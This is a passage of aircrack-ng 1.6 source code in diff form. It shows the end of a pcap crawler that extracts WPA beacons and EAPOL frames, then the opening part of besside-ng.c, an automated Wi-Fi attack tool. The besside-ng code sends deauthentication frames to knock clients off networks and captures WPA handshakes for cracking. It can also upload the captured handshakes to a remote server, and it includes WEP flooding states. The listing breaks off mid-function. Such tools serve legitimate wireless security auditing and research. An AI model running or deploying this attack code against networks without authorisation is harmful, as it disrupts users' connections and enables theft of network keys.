+				bssid = pkt + 16 + o;
+			}
+			else
+			{ // fromDS
+				bssid = pkt + 10 + o;
+			}
+
+			if (pkt[0 + o] == 0x80)
+			{ // beacon
+				known = is_in_list(bsl, bssid);
+				if (!known || known->beacon_saved)
+				{
+					pkt = pcap_next(handle, &header);
+					continue;
+				}
+
+				// Saving ONE beacon per WPA network
+				pcap_dump((u_char *) dumper, &header, pkt + o);
+				known->beacon_saved = 0x01;
+			}
+
+			if (pkt[0 + o] == 0x88)
+			{
+				llc = pkt + 26 + o;
+			}
+			else
+			{
+				llc = pkt + 24 + o;
+			}
+
+			if (!memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8))
+			{
+				if (is_in_list(bsl, bssid))
+				{
+					// Saving EAPOL
+					pcap_dump((u_char *) dumper, &header, pkt + o);
+				}
+			}
+		}
+
+		pkt = pcap_next(handle, &header);
+	}
+}
+
+static void process_file(const char * file)
+{
+	REQUIRE(file != NULL);
+
+	pcap_t * handle;
+	char errbuf[PCAP_ERRBUF_SIZE];
+	struct bsslist * eapol_networks = NULL;
+
+	stats_files++;
+
+	handle = pcap_open_offline(file, errbuf);
+	if (!handle)
+	{
+		stats_noncaps++;
+		return;
+	}
+
+	stats_caps++;
+
+	if ((pcap_datalink(handle) != DLT_IEEE802_11)
+		&& (pcap_datalink(handle) != DLT_PRISM_HEADER))
+	{
+		// TODO: Add support for RADIOTAP!!!!
+		printf("Dumpfile %s is not an IEEE 802.11 capture: %s\n",
+			   file,
+			   pcap_datalink_val_to_name(pcap_datalink(handle)));
+		pcap_close(handle);
+		return;
+	}
+
+	printf("Scanning dumpfile %s\n", file);
+	eapol_networks = get_eapol_bssids(handle);
+
+	pcap_close(handle);
+	if (!eapol_networks) return; // No WPA networks found, skipping to next file
+
+	handle = pcap_open_offline(file, errbuf);
+
+	process_eapol_networks(handle, eapol_networks);
+	pcap_close(handle);
+
+	free_bsslist(eapol_networks);
+}
+
+static void process_directory(const char * dir, time_t begin)
+{
+	REQUIRE(dir != NULL);
+
+	DIR * curdir;
+	struct dirent * curent;
+	struct stat curstat;
+	char * fullname = NULL;
+	size_t fullname_size = 0;
+
+	stats_dirs++;
+
+	curdir = opendir(dir);
+
+	if (!curdir)
+	{
+		perror("Opening directory failed");
+		return;
+	}
+
+	errno = 0;
+	curent = readdir(curdir);
+
+	while (curent)
+	{
+		if ((!strcmp("..", curent->d_name)) || (!strcmp(".", curent->d_name)))
+		{
+			curent = readdir(curdir);
+			continue;
+		}
+
+		fullname_size = strlen(dir) + strlen(curent->d_name) + 2;
+		ALLEGE(fullname == NULL);
+		fullname = malloc(fullname_size);
+		ALLEGE(fullname != NULL);
+		strncpy(fullname, dir, strlen(dir) + 1);
+		strncat(fullname, "/", fullname_size - 1);
+		strncat(fullname, curent->d_name, fullname_size - 1);
+
+		if (stat(fullname, &curstat))
+		{
+			printf("Statting %s ", fullname);
+			perror("failed");
+		}
+		else
+		{
+			if (S_ISREG(curstat.st_mode))
+			{
+				if (curstat.st_mtime >= begin)
+				{
+					printf("Skipping file %s, which is newer than the crawler "
+						   "process (avoid loops)\n",
+						   fullname);
+				}
+				else
+				{
+					process_file(fullname);
+				}
+			}
+			else if (S_ISDIR(curstat.st_mode))
+			{
+				process_directory(fullname, begin);
+			}
+			else
+			{
+				printf("%s is a neither a directory nor a regular file\n",
+					   fullname);
+			}
+		}
+
+		free(fullname);
+		fullname = NULL;
+		curent = readdir(curdir);
+	}
+
+	ALLEGE(fullname == NULL);
+
+	if (errno) perror("Reading directory failed");
+
+	closedir(curdir);
+}
+
+int main(int argc, char * argv[])
+{
+	time_t begin = time(NULL); // Every file newer than when crawler started is
+	// skipped (it may be the file the crawler
+	// created!)
+
+	if (argc != 3)
+	{
+		printf("Use: %s <SearchDir> <CapFileOut>\n", argv[0]);
+		printf("What does it do?\n\nIt recurses the SearchDir directory\n");
+		printf("Opens all files in there, searching for pcap-dumpfiles\n");
+		printf("Filters out a single beacon and all EAPOL frames from the WPA "
+			   "networks in there\n");
+		printf("And saves them to CapFileOut.\n\n");
+		exit(EXIT_SUCCESS);
+	}
+
+	dumphandle = pcap_open_dead(DLT_IEEE802_11, BUFSIZ);
+	dumper = pcap_dump_open(dumphandle, argv[2]);
+
+	if (dumper == NULL)
+	{
+		pcap_perror(dumphandle, "ERROR");
+		pcap_close(dumphandle);
+	}
+
+	process_directory(argv[1], begin);
+
+	pcap_dump_close(dumper);
+	pcap_close(dumphandle);
+
+	printf("DONE. Statistics:\n");
+	printf("Files scanned:      %12u\n", stats_files);
+	printf("Directories scanned:%12u\n", stats_dirs);
+	printf("Dumpfiles found:    %12u\n", stats_caps);
+	printf("Skipped files:      %12u\n", stats_noncaps);
+	printf("Packets processed:  %12u\n", stats_packets);
+	printf("EAPOL packets:      %12u\n", stats_eapols);
+	printf("WPA Network count:  %12u\n", stats_networks);
+
+	return (EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/besside-ng/besside-ng.c Added

@@ -0,0 +1,3370 @@
+/*
+ *  Copyright (C) 2010 Andrea Bittau <bittau@cs.stanford.edu>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <sys/select.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <getopt.h>
+#include <err.h>
+#include <signal.h>
+#include <string.h>
+#include <assert.h>
+#include <time.h>
+#include <stdarg.h>
+#include <errno.h>
+#include <netdb.h>
+#include <unistd.h>
+#include <limits.h>
+
+#ifdef HAVE_PCRE
+#include <pcre.h>
+#endif
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/aircrack-ng.h"
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/support/communications.h"
+#include "aircrack-ng/ptw/aircrack-ptw-lib.h"
+#include "aircrack-ng/osdep/osdep.h"
+#include "aircrack-ng/third-party/ieee80211.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/tui/console.h"
+#include "aircrack-ng/support/common.h"
+
+static int PTW_DEFAULTBF[PTW_KEYHSBYTES]
+	= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+	   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
+
+enum
+{
+	STATE_SCAN = 0,
+	STATE_ATTACK,
+	STATE_DONE,
+};
+
+enum
+{
+	CRYPTO_NONE = 0,
+	CRYPTO_WEP,
+	CRYPTO_WPA,
+	CRYPTO_WPA_MGT,
+};
+
+enum
+{
+	ASTATE_NONE = 0,
+	ASTATE_PING,
+	ASTATE_READY,
+
+	ASTATE_DEAUTH,
+	ASTATE_WPA_CRACK,
+
+	ASTATE_WEP_PRGA_GET,
+	ASTATE_WEP_FLOOD,
+
+	ASTATE_DONE,
+	ASTATE_UNREACH,
+};
+
+enum
+{
+	WSTATE_NONE = 0,
+	WSTATE_AUTH,
+	WSTATE_ASSOC,
+};
+
+enum
+{
+	V_NORMAL = 0,
+	V_VERBOSE,
+};
+
+struct cracker;
+struct network;
+
+typedef void (*timer_cb)(void *);
+typedef void (*cracker_cb)(struct cracker *, struct network * n);
+typedef int (*check_cb)(struct network * n);
+
+struct channel
+{
+	int c_num;
+	struct channel * c_next;
+};
+
+static struct conf
+{
+	char * cf_ifname;
+	struct channel cf_channels;
+	int cf_hopfreq;
+	int cf_deauthfreq;
+	unsigned char * cf_bssid;
+	int cf_attackwait;
+	int cf_floodwait;
+	char * cf_wordlist;
+	int cf_verb;
+	int cf_to;
+	int cf_floodfreq;
+	int cf_crack_int;
+	char * cf_wpa;
+	char * cf_wep;
+	char * cf_log;
+	int cf_do_wep;
+	int cf_do_wpa;
+	char * cf_wpa_server;
+#ifdef HAVE_PCRE
+	pcre * cf_essid_regex;
+#endif
+} _conf;
+
+struct timer
+{
+	struct timeval t_tv;
+	timer_cb t_cb;
+	void * t_arg;
+	struct timer * t_next;
+};
+
+struct packet
+{
+	unsigned char p_data[2048];
+	int p_len;
+};
+
+struct client
+{
+	unsigned char c_mac[6];
+	int c_wpa;
+	int c_wpa_got;
+	int c_dbm;
+	struct packet c_handshake[4];
+	struct client * c_next;
+};
+
+struct speed
+{
+	unsigned int s_num;
+	struct timeval s_start;
+	unsigned int s_speed;
+};
+
+struct cracker
+{
+	int cr_pid;
+	int cr_pipe[2];
+};
+
+struct network
+{
+	char n_ssid[256];
+	unsigned char n_bssid[6];
+	int n_crypto;
+	int n_chan;
+	struct network * n_next;
+	struct timeval n_start;
+	int n_have_beacon;
+	struct client n_clients;
+	int n_astate;
+	int n_wstate;
+	unsigned short n_seq;
+	int n_dbm;
+	int n_ping_sent;
+	int n_ping_got;
+	int n_attempts;
+	unsigned char n_prga[2048];
+	int n_prga_len;
+	unsigned char n_replay[2048];
+	int n_replay_len;
+	int n_replay_got;
+	struct timeval n_replay_last;
+	struct speed n_flood_in;
+	struct speed n_flood_out;
+	int n_data_count;
+	int n_crack_next;
+	PTW_attackstate * n_ptw;
+	struct cracker n_cracker_wep[2];
+	unsigned char n_key[64];
+	int n_key_len;
+	struct packet n_beacon;
+	int n_beacon_wrote;
+	struct client * n_client_handshake;
+	int n_mac_filter;
+	struct client * n_client_mac;
+	int n_got_mac;
+};
+
+static struct state
+{
+	struct wif * s_wi;
+	int s_state;
+	struct timeval s_now;
+	struct timeval s_start;
+	struct network s_networks;
+	struct network * s_curnet;
+	struct channel * s_hopchan;
+	unsigned int s_hopcycles;
+	int s_chan;
+	unsigned char s_mac[6];
+	struct timer s_timers;
+	struct rx_info * s_ri;
+	int s_wpafd;
+	int s_wepfd;
+} _state;
+
+static void attack_continue(struct network * n);
+static void attack(struct network * n);
+
+void show_wep_stats(int UNUSED(B),
+					int UNUSED(force),
+					PTW_tableentry UNUSED(table[PTW_KEYHSBYTES][PTW_n]),
+					int UNUSED(choices[KEYHSBYTES]),
+					int UNUSED(depth[KEYHSBYTES]),
+					int UNUSED(prod))
+{
+}
+
+static void time_printf(int verb, char * fmt, ...)
+{
+	time_t now = _state.s_now.tv_sec;
+	struct tm * t;
+	va_list ap;
+
+	if (verb > _conf.cf_verb) return;
+
+	t = localtime(&now);
+	if (!t) err(1, "localtime()");
+
+	erase_line(0);
+	printf("[%.2d:%.2d:%.2d] ", t->tm_hour, t->tm_min, t->tm_sec);
+
+	va_start(ap, fmt);
+	vprintf(fmt, ap);
+	va_end(ap);
+}
+
+static void cracker_kill(struct cracker * c)
+{
+	REQUIRE(c != NULL);
+
+	if (c->cr_pid)
+	{
+		kill(c->cr_pid, SIGKILL);
+
+		if (c->cr_pipe[0]) close(c->cr_pipe[0]);
+	}
+
+	memset(c, 0, sizeof(*c));
+}
+
+static void save_network(FILE * f, struct network * n)
+{
+	REQUIRE(f != NULL);
+	REQUIRE(n != NULL);
+
+	int len;
+
+	if (n->n_crypto != CRYPTO_WPA && n->n_crypto != CRYPTO_WEP) return;
+
+	if (!n->n_have_beacon) return;
+
+	if (n->n_astate != ASTATE_DONE) return;
+
+	len = strlen(n->n_ssid);
+
+	fprintf(f, "%s", n->n_ssid);
+
+	while (len++ < 20) fprintf(f, " ");
+
+	fprintf(f, "| ");
+	len = 0;
+	if (n->n_key_len)
+	{
+		for (len = 0; len < n->n_key_len; len++)
+		{
+			if (len != 0) fprintf(f, ":");
+
+			fprintf(f, "%.2x", n->n_key[len]);
+		}
+
+		len = n->n_key_len * 3 - 1;
+	}
+
+	if (n->n_client_handshake)
+	{
+		fprintf(f, "Got WPA handshake");
+		len = 17;
+	}
+
+	if (n->n_astate == ASTATE_UNREACH)
+	{
+		fprintf(f, "Crappy connection");
+		len = 17;
+	}
+
+	while (len++ < 38) fprintf(f, " ");
+
+	char * mac_bssid = mac2string(n->n_bssid);
+	ALLEGE(mac_bssid != NULL);
+	fprintf(f, " | %s", mac_bssid);
+	free(mac_bssid);
+
+	fprintf(f, " | ");
+	if (n->n_got_mac)
+	{
+		char * mac_c = mac2string(n->n_client_mac->c_mac);
+		ALLEGE(mac_c != NULL);
+		fprintf(f, "%s", mac_c);
+		free(mac_c);
+	}
+
+	fprintf(f, "\n");
+}
+
+static void save_log(void)
+{
+	FILE * f;
+	struct network * n = _state.s_networks.n_next;
+
+	f = fopen(_conf.cf_log, "w");
+	if (!f) err(1, "fopen()");
+
+	fprintf(f, "# SSID              ");
+	fprintf(f, "| KEY                                    | BSSID");
+	fprintf(f, "             | MAC filter\n");
+
+	while (n)
+	{
+		save_network(f, n);
+		n = n->n_next;
+	}
+
+	fclose(f);
+}
+
+static inline void do_wait(int UNUSED(x)) { wait(NULL); }
+
+static inline void * xmalloc(size_t sz)
+{
+	void * p = malloc(sz);
+
+	if (!p) err(1, "malloc()");
+
+	return p;
+}
+
+static void timer_next(struct timeval * tv)
+{
+	REQUIRE(tv != NULL);
+
+	struct timer * t = _state.s_timers.t_next;
+	int diff;
+
+	if (!t)
+	{
+		tv->tv_sec = 1;
+		tv->tv_usec = 0;
+		return;
+	}
+
+	diff = time_diff(&_state.s_now, &t->t_tv);
+	if (diff <= 0)
+	{
+		tv->tv_sec = 0;
+		tv->tv_usec = 0;
+		return;
+	}
+
+	tv->tv_sec = diff / (1000 * 1000);
+	tv->tv_usec = diff - (tv->tv_sec * 1000 * 1000);
+}
+
+static void timer_in(int us, timer_cb cb, void * arg)
+{
+	struct timer * t = xmalloc(sizeof(*t));
+	struct timer * p = &_state.s_timers;
+	int s;
+
+	memset(t, 0, sizeof(*t));
+
+	t->t_cb = cb;
+	t->t_arg = arg;
+	t->t_tv = _state.s_now;
+
+	t->t_tv.tv_usec += us;
+
+	s = t->t_tv.tv_usec / (1000 * 1000);
+	t->t_tv.tv_sec += s;
+	t->t_tv.tv_usec -= s * 1000 * 1000;
+
+	while (p->t_next)
+	{
+		if (time_diff(&t->t_tv, &p->t_next->t_tv) > 0) break;
+
+		p = p->t_next;
+	}
+
+	t->t_next = p->t_next;
+	p->t_next = t;
+}
+
+static void timer_check(void)
+{
+	while (_state.s_timers.t_next)
+	{
+		struct timer * t = _state.s_timers.t_next;
+
+		if (time_diff(&t->t_tv, &_state.s_now) < 0) break;
+
+		_state.s_timers.t_next = t->t_next;
+
+		t->t_cb(t->t_arg);
+
+		free(t);
+	}
+}
+
+static unsigned char * get_bssid(struct ieee80211_frame * wh)
+{
+	REQUIRE(wh != NULL);
+
+	int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
+	uint16_t * p = (uint16_t *) (wh + 1);
+
+	if (type == IEEE80211_FC0_TYPE_CTL) return (NULL);
+
+	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+		return (wh->i_addr1);
+	else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		return (wh->i_addr2);
+
+	// XXX adhoc?
+	if (type == IEEE80211_FC0_TYPE_DATA) return (wh->i_addr1);
+
+	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+	{
+		case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
+		case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
+		case IEEE80211_FC0_SUBTYPE_DISASSOC:
+			return (wh->i_addr1);
+
+		case IEEE80211_FC0_SUBTYPE_AUTH:
+			/* XXX check len */
+			switch (le16toh(p[1]))
+			{
+				case 1:
+				case 3:
+					return (wh->i_addr1);
+
+				case 2:
+				case 4:
+					return (wh->i_addr2);
+			}
+			return (NULL);
+
+		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
+		case IEEE80211_FC0_SUBTYPE_REASSOC_RESP:
+		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
+		case IEEE80211_FC0_SUBTYPE_BEACON:
+		case IEEE80211_FC0_SUBTYPE_DEAUTH:
+			return (wh->i_addr2);
+
+		case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
+		default:
+			return (NULL);
+	}
+}
+
+static struct network * network_get(struct ieee80211_frame * wh)
+{
+	struct network * n = _state.s_networks.n_next;
+	unsigned char * bssid = get_bssid(wh);
+
+	if (!bssid) return (NULL);
+
+	while (n)
+	{
+		if (memcmp(n->n_bssid, bssid, sizeof(n->n_bssid)) == 0) return (n);
+
+		n = n->n_next;
+	}
+
+	return (NULL);
+}
+
+static struct network * network_new(void)
+{
+	struct network * n = xmalloc(sizeof(*n));
+
+	memset(n, 0, sizeof(*n));
+	n->n_crack_next = _conf.cf_crack_int;
+
+	return (n);
+}
+
+static void do_network_add(struct network * n)
+{
+	struct network * p = &_state.s_networks;
+
+	while (p->n_next) p = p->n_next;
+
+	p->n_next = n;
+}
+
+static struct network * network_add(struct ieee80211_frame * wh)
+{
+	struct network * n;
+	unsigned char * bssid = get_bssid(wh);
+
+	if (!bssid) return (NULL);
+
+	n = network_new();
+
+	memcpy(n->n_bssid, bssid, sizeof(n->n_bssid));
+
+	do_network_add(n);
+
+	return (n);
+}
+
+static inline void print_hex(void * p, int len)
+{
+	REQUIRE(p != NULL);
+
+	unsigned char * x = p;
+
+	while (len--)
+	{
+		printf("%.2x", *x++);
+		if (len) printf(":");
+	}
+}
+
+static void network_print(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	const char * crypto = "dunno";
+
+	switch (n->n_crypto)
+	{
+		case CRYPTO_NONE:
+			crypto = "none";
+			break;
+
+		case CRYPTO_WEP:
+			crypto = "WEP";
+			break;
+
+		case CRYPTO_WPA:
+			crypto = "WPA";
+			break;
+
+		case CRYPTO_WPA_MGT:
+			crypto = "WPA-SECURE";
+			break;
+	}
+
+	char * mac = mac2string(n->n_bssid);
+	ALLEGE(mac != NULL);
+	time_printf(V_VERBOSE,
+				"Found AP %s [%s] chan %d crypto %s dbm %d\n",
+				mac,
+				n->n_ssid,
+				n->n_chan,
+				crypto,
+				n->n_dbm);
+	free(mac);
+}
+
+static void channel_set(int num)
+{
+	if (wi_set_channel(_state.s_wi, num) == -1) err(1, "wi_set_channel()");
+
+	_state.s_chan = num;
+}
+
+static void fill_basic(struct network * n, struct ieee80211_frame * wh)
+{
+	REQUIRE(n != NULL);
+	REQUIRE(wh != NULL);
+
+	uint16_t * p;
+
+	memset(wh, 0, sizeof(*wh));
+
+	p = (uint16_t *) wh->i_dur;
+	*p = htole16(32767);
+
+	p = (uint16_t *) wh->i_seq;
+	*p = fnseq(0, n->n_seq++);
+}
+
+static void wifi_send(void * p, int len)
+{
+	int rc;
+	struct tx_info tx;
+
+	memset(&tx, 0, sizeof(tx));
+
+	rc = wi_write(_state.s_wi, NULL, LINKTYPE_IEEE802_11, p, len, &tx);
+	if (rc == -1) err(1, "wi_write()");
+}
+
+static void deauth_send(struct network * n, unsigned char * mac)
+{
+	REQUIRE(n != NULL);
+	REQUIRE(mac != NULL);
+
+	unsigned char buf[2048];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	uint16_t * rc = (uint16_t *) (wh + 1);
+
+	fill_basic(n, wh);
+	memcpy(wh->i_addr1, mac, sizeof(wh->i_addr1));
+	memcpy(wh->i_addr2, n->n_bssid, sizeof(wh->i_addr2));
+	memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3));
+
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_DEAUTH;
+
+	*rc++ = htole16(7);
+
+	char * mac_p = mac2string(mac);
+	ALLEGE(mac_p != NULL);
+	time_printf(V_VERBOSE, "Sending deauth to %s\n", mac_p);
+	free(mac_p);
+
+	wifi_send(wh, (unsigned long) rc - (unsigned long) wh);
+}
+
+static void deauth(void * arg)
+{
+	REQUIRE(arg != NULL);
+
+	struct network * n = arg;
+	struct client * c = n->n_clients.c_next;
+
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_astate != ASTATE_DEAUTH)
+		return;
+
+	deauth_send(n, BROADCAST);
+
+	while (c)
+	{
+		deauth_send(n, c->c_mac);
+		c = c->c_next;
+	}
+
+	timer_in(_conf.cf_deauthfreq * 1000, deauth, n);
+}
+
+static int open_pcap(char * fname)
+{
+	REQUIRE(fname != NULL);
+
+	int fd;
+	struct pcap_file_header pfh;
+
+	fd = open(fname, O_RDWR | O_APPEND);
+	if (fd != -1)
+	{
+		time_printf(V_NORMAL, "Appending to %s\n", fname);
+		return (fd);
+	}
+
+	memset(&pfh, 0, sizeof(pfh));
+	pfh.magic = TCPDUMP_MAGIC;
+	pfh.version_major = PCAP_VERSION_MAJOR;
+	pfh.version_minor = PCAP_VERSION_MINOR;
+	pfh.thiszone = 0;
+	pfh.sigfigs = 0;
+	pfh.snaplen = 65535;
+	pfh.linktype = LINKTYPE_IEEE802_11;
+
+	fd = open(fname, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+	if (fd == -1) err(1, "open(%s)", fname);
+
+	if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()");
+
+	return (fd);
+}
+
+static void write_pcap(int fd, void * p, int len)
+{
+	REQUIRE(fd != -1);
+	REQUIRE(p != NULL);
+
+	struct pcap_pkthdr pkh;
+
+	memset(&pkh, 0, sizeof(pkh));
+
+	pkh.caplen = pkh.len = len;
+	pkh.tv_sec = _state.s_now.tv_sec;
+	pkh.tv_usec = _state.s_now.tv_usec;
+
+	if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()");
+
+	if (write(fd, p, len) != len) err(1, "write()");
+}
+
+static inline void packet_write_pcap(int fd, struct packet * p)
+{
+	REQUIRE(fd != -1);
+	REQUIRE(p != NULL);
+
+	write_pcap(fd, p->p_data, p->p_len);
+}
+
+static void wpa_upload(void)
+{
+	struct sockaddr_in s_in;
+	int s;
+	char buf[4096];
+	char boundary[128];
+	char h1[1024];
+	char form[1024];
+	struct stat stat;
+	off_t off;
+	int tot;
+	int ok = 0;
+
+	memset(&s_in, 0, sizeof(s_in));
+
+	s_in.sin_family = PF_INET;
+	s_in.sin_port = htons(80);
+
+	if (inet_aton(_conf.cf_wpa_server, &s_in.sin_addr) == 0)
+	{
+		struct hostent * he;
+
+		he = gethostbyname(_conf.cf_wpa_server);
+		if (!he) goto __no_resolve;
+
+		if (!he->h_addr_list[0])
+		{
+		__no_resolve:
+			time_printf(V_NORMAL, "Can't resolve %s\n", _conf.cf_wpa_server);
+			return;
+		}
+
+		memcpy(&s_in.sin_addr, he->h_addr_list[0], 4);
+	}
+
+	if ((s = socket(s_in.sin_family, SOCK_STREAM, 0)) == -1) err(1, "socket()");
+
+	if (connect(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+	{
+		time_printf(V_NORMAL, "Can't connect to %s\n", _conf.cf_wpa_server);
+
+		close(s);
+		return;
+	}
+
+	if (fstat(_state.s_wpafd, &stat) == -1) err(1, "fstat()");
+
+	snprintf(boundary, sizeof(boundary), "37872861916401860062104501923");
+
+	snprintf(h1,
+			 sizeof(h1),
+			 "--%s\r\n"
+			 "Content-Disposition: form-data;"
+			 " name=\"file\";"
+			 " filename=\"wpa.cap\"\r\n"
+			 "Content-Type: application/octet-stream\r\n\r\n",
+			 boundary);
+
+	snprintf(form,
+			 sizeof(form),
+			 "\r\n"
+			 "--%s\r\n"
+			 "Content-Disposition: form-data;"
+			 " name=\"fs\"\r\n\r\n"
+			 "Upload"
+			 "\r\n"
+			 "%s--\r\n",
+			 boundary,
+			 boundary);
+
+	tot = stat.st_size;
+
+	snprintf(buf,
+			 sizeof(buf),
+			 "POST /index.php HTTP/1.0\r\n"
+			 "Host: %s\r\n"
+			 "User-Agent: besside-ng\r\n"
+			 "Content-Type: multipart/form-data; boundary=%s\r\n"
+			 "Content-Length: %d\r\n\r\n",
+			 _conf.cf_wpa_server,
+			 boundary,
+			 (int) (strlen(h1) + strlen(form) + tot));
+
+	if (write(s, buf, strlen(buf)) != (int) strlen(buf)) goto __fail;
+
+	if (write(s, h1, strlen(h1)) != (int) strlen(h1)) goto __fail;
+
+	if ((off = lseek(_state.s_wpafd, 0, SEEK_CUR)) == (off_t) -1)
+		err(1, "lseek()");
+
+	if (lseek(_state.s_wpafd, 0, SEEK_SET) == (off_t) -1) err(1, "lseek()");
+
+	while (tot)
+	{
+		int l = tot;
+
+		if (l > (int) sizeof(buf)) l = sizeof(buf);
+
+		if (read(_state.s_wpafd, buf, l) != l) err(1, "read()");
+
+		if (write(s, buf, l) != l) goto __fail;
+
+		tot -= l;
+	}
+
+	if (write(s, form, strlen(form)) != (int) strlen(form)) goto __fail;
+
+	if (lseek(_state.s_wpafd, off, SEEK_SET) == (off_t) -1) err(1, "lseek()");
+
+	while ((tot = read(s, buf, sizeof(buf) - 1)) > 0)
+	{
+		char * p;
+
+		buf[tot] = 0;
+
+		p = strstr(buf, "\r\n\r\n");
+		if (!p) goto __fail;
+
+		p += 4;
+
+		if (atoi(p) == 2)
+			ok = 1;
+		else
+			goto __fail;
+	}
+
+	if (!ok) goto __fail;
+
+	close(s);
+
+	time_printf(
+		V_NORMAL, "Uploaded WPA handshake to %s\n", _conf.cf_wpa_server);
+
+	return;
+__fail:
+	close(s);
+	time_printf(V_NORMAL, "WPA handshake upload failed\n");
+}
+
+static void wpa_crack(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	int i;
+
+	packet_write_pcap(_state.s_wpafd, &n->n_beacon);
+
+	for (i = 0; i < 4; i++)
+	{
+		struct packet * p = &n->n_client_handshake->c_handshake[i];
+
+		if (p->p_len) packet_write_pcap(_state.s_wpafd, p);
+	}
+
+	fsync(_state.s_wpafd);
+
+	if (_conf.cf_wpa_server)
+		wpa_upload();
+	else
+	{
+		time_printf(V_NORMAL, "Run aircrack on %s for WPA key\n", _conf.cf_wpa);
+	}
+
+	/* that was fast cracking! */
+	n->n_astate = ASTATE_DONE;
+
+	attack_continue(n);
+}
+
+static void attack_wpa(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	switch (n->n_astate)
+	{
+		case ASTATE_READY:
+			n->n_astate = ASTATE_DEAUTH;
+		/* fallthrough */
+		case ASTATE_DEAUTH:
+			deauth(n);
+			break;
+
+		case ASTATE_WPA_CRACK:
+			wpa_crack(n);
+			break;
+	}
+}
+
+static void hop(void * arg)
+{
+	int old = _state.s_chan;
+
+	if (_state.s_state != STATE_SCAN) return;
+
+	while (1)
+	{
+		struct channel * c = _state.s_hopchan->c_next;
+
+		if (c->c_num == old) break;
+
+		// skip unsupported chan.  XXX check if we run out.
+		if (wi_set_channel(_state.s_wi, c->c_num) == -1)
+		{
+			_state.s_hopchan->c_next = c->c_next;
+			free(c);
+		}
+		else
+			break;
+	}
+
+	_state.s_hopchan = _state.s_hopchan->c_next;
+	_state.s_chan = _state.s_hopchan->c_num;
+
+	// XXX assume we don't lose head
+	if (_state.s_hopchan == _conf.cf_channels.c_next) _state.s_hopcycles++;
+
+	timer_in(_conf.cf_hopfreq * 1000, hop, arg);
+}
+
+static void scan_start(void)
+{
+	_state.s_state = STATE_SCAN;
+	_state.s_hopcycles = 0;
+
+	hop(NULL); /* XXX check other hopper */
+}
+
+static void send_auth(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	unsigned char buf[2048];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	uint16_t * rc = (uint16_t *) (wh + 1);
+
+	fill_basic(n, wh);
+	memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
+	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));
+	memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3));
+
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
+
+	*rc++ = htole16(0);
+	*rc++ = htole16(1);
+	*rc++ = htole16(0);
+
+	wifi_send(wh, (int) ((intptr_t) rc - (intptr_t) wh));
+}
+
+static void ping_send(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	send_auth(n);
+
+	time_printf(V_VERBOSE, "Sending ping to %s\n", n->n_ssid);
+
+	n->n_ping_sent++;
+}
+
+static void ping_reply(struct network * n, struct ieee80211_frame * wh)
+{
+	REQUIRE(wh != NULL);
+
+	uint16_t * p = (uint16_t *) (wh + 1);
+
+	if (le16toh(p[1]) == 2)
+	{
+		REQUIRE(n != NULL);
+
+		time_printf(V_VERBOSE, "Ping reply %s\n", n->n_ssid);
+		n->n_ping_got++;
+	}
+}
+
+static void set_mac(void * mac)
+{
+	REQUIRE(mac != NULL);
+
